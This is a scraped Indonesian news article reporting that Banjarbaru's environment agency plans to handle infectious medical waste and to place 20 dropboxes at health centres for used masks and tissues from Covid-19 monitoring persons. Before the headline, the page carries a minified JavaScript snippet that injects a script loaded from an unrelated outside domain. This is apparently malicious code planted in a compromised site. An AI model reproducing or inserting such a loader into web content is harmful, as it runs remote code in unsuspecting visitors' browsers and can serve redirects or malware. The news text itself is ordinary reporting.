(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

DLH Banjarbaru Siapkan 20 Dropbox Khusus di Puskesmas, Tampung Limbah B3


KANALKALIMANTAN.COM, BANJARBARU – Dinas Lingkungan Hidup (DLH) kota Banjarbaru menyusun langkah-langkah dalam penanganan limbah B3 (limbah infeksius) dari pelayanan kesehatan. Termasuk juga, pengelolaan sampah rumah tangga yang berasal dari masyarakat berstatus Orang Dalam Pemantauan (ODP) Covid-19.

Kabid Penegakan Hukum dan Pengendalian Lingkungan DLH Kota Banjarbaru, Shanty Eka Septiyani memaparkan, untuk limbah B3 yang berasal dari layanan kesehatan yakni Rumah Sakit Daerah (RSD) Idaman Banjarbaru, pihaknya melakukan pemilahan dan pengemasan limbah infeksius berdasarkan karakteristiknya.

Setelah dipilah, selanjutnya limbah B3 tersebut harus ditutup rapat serta diberi simbol “infeksius” dan label limbah. Untuk penyimpanan limbah dalam kemasan tertutup ini, diwajibkan paling lama 2 hari sejak dihasilkan.

“Nah, untuk memusnakan limbah B3 ini kita menggunakan fasilitas incenerator dengan suhu pembakaran 800 derajat celcius dan autoclove yang dilengkap dengan pencacah. Hasil sisa limbah yang sudah dimusnahkan ini akan disimpan sementara, untuk selanjutnya diserahkan ke pengelola limbah B3,” jelasnya.

Di sisi lain, Shanty menjelaskan ihwal pengelolaan sampah rumah tangga dari masyarakat yang berstatus ODP. Adapun sampah rumah tangga yang dimaksudkan berupa masker bekas, sarung tangan bekas dan tisu bekas.

Mekanismenya, DLH Banjarbaru akan menyiapkan fasilitas dropbox di 10 puskesmas yang ada di Banjarbaru. Masyarakat yang berstatus ODP dapat membuang sampahnya di dropbox yang telah disediakan tersebut.

“Kalau sampah dari ODP itu sudah terkumpul, petugas kita yang akan mengangkutnya. Petugas DLH Banjarbaru diwajibkan menggunakan Alat Pelindung Diri (APD) saat mengakut dropbox tersebut. Kita menyiapkan 20 dropbox,” bebernya.

Menurut data Gugus Tugas P3 Covid-19 Kota Banjarbaru, pada Sabtu (18/4/2020) pagi, tercatat ada 227 ODP di Banjarbaru. Ratusan ODP ini tersebar di 20 Kelurahan yang ada di Banjarbaru.

Namun begitu, Shanty mengakui bahwa sampai saat ini kebijakan pengelolaan sampah dari ODP belum bisa diterapkan. Alasannya, masih menunggu persetujuan dari Wali Kota Banjarbaru. Terlebih lagi, pihaknya juga membutuhkan data terkait siapa dan dimana alamat tempat tinggal para ODP di Banjarbaru.

“Kita masih menunggu pak Wali Kota menandatangi langkah-langkah prosedur yang sudah kami susun ini. Kalau sudah di tandatangani, kami juga ingin meminta data seluruh ODP di Banjarbaru. Bahkan kalau bisa nomor teleponnya, jadi kita bisa mengingatkan para ODP untuk membuang sampah di dropbox yang kami siapkan,” pungkas Shanty.

Lantas, bagaimana dengan sampah di Gedung Balai Diklat di Jalan Ambulung, tempat di karantina 24 warga Banjarbaru -cluster Gowa-? Dalam hal ini, Kepala DLH Banjarbaru Sirajoni, mengungkapkan pihaknya masih belum mendapatkan arahan lebih lanjut.

“Untuk DLH Banjarbaru belum ada arahan dari Gugus Tugas secara khusus. Artinya, pengangkutan sampah yang kami laksanakan masih seperti biasa sesuai mekanisme pelayanan kami. Tapi, jika memang ada perintah untuk menghandle sampah di Balai Diklat, kami siap saja,” tegasnya. (kanalkalimmatan.com/rico)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

11 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

12 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

12 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

14 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

20 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.